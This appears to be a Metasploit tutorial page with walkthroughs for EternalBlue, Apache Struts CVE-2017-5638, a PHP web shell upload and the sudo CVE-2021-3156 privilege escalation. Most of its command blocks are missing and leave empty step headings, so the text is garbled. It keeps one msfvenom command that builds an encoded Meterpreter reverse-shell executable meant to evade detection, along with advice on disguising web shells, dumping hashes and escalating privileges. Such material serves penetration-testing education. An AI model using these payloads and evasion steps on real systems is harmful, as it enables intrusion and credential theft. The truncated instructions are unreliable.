06. Metasploit More Examples
1. Exploiting a Windows SMB Vulnerability (MS17-010 - EternalBlue)¶
Scenario:¶
Target: Windows 7 SP1 (x64) with SMB service enabled.
Steps:¶
-
Search for Exploit:
-
Load the Exploit:
-
Set Target Options:
-
Set Payload: Use a reverse Meterpreter shell:
-
Exploit:
-
Post-Exploitation:
-
Interact with Meterpreter:
-
Gather system info:
-
Dump hashes:
-
2. Customizing Payloads¶
Metasploit provides flexibility to generate and modify payloads for various scenarios.
Reverse Shell with Payload Encoding¶
-
Generate a Reverse Shell Payload:
-
Encode Payload to Bypass Detection:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 3 -o encoded_shell.exe-e x86/shikata_ga_nai: Encoding mechanism.-i 3: Number of iterations to apply encoding.- Serve the Payload: Use a simple HTTP server to host the payload:
-
Execute on Target: Download and execute
encoded_shell.exeon the target.
3. Exploiting Apache Struts CVE-2017-5638¶
Scenario:¶
Target: A vulnerable Apache Struts server.
Steps:¶
-
Search for Exploit:
-
Load the Exploit:
-
Set Target Options:
-
Set Payload:
-
Run Exploit:
-
Post-Exploitation:
-
Check the current user:
-
Elevate privileges:
-
4. Custom Exploit: PHP Web Shell Injection¶
Scenario:¶
You have access to upload files to a vulnerable web server.
Steps:¶
-
Generate a PHP Reverse Shell:
-
Rename Payload: Rename
shell.phpto blend in with the environment, e.g.,image.php. -
Upload the Payload:
- Use a vulnerable file upload mechanism to upload the payload.
- Set Up Metasploit Listener:
-
Trigger the Payload: Access the uploaded PHP shell via a browser:
-
Post-Exploitation:
-
Dump credentials:
-
Escalate privileges:
-
5. Exploiting Linux System with a Local Privilege Escalation¶
Scenario:¶
Exploit CVE-2021-3156 (Sudo Heap Overflow).
Steps:¶
-
Search and Load Exploit:
-
Set Target Details:
-
Run Exploit:
-
Verify Privilege Escalation: Check user privileges: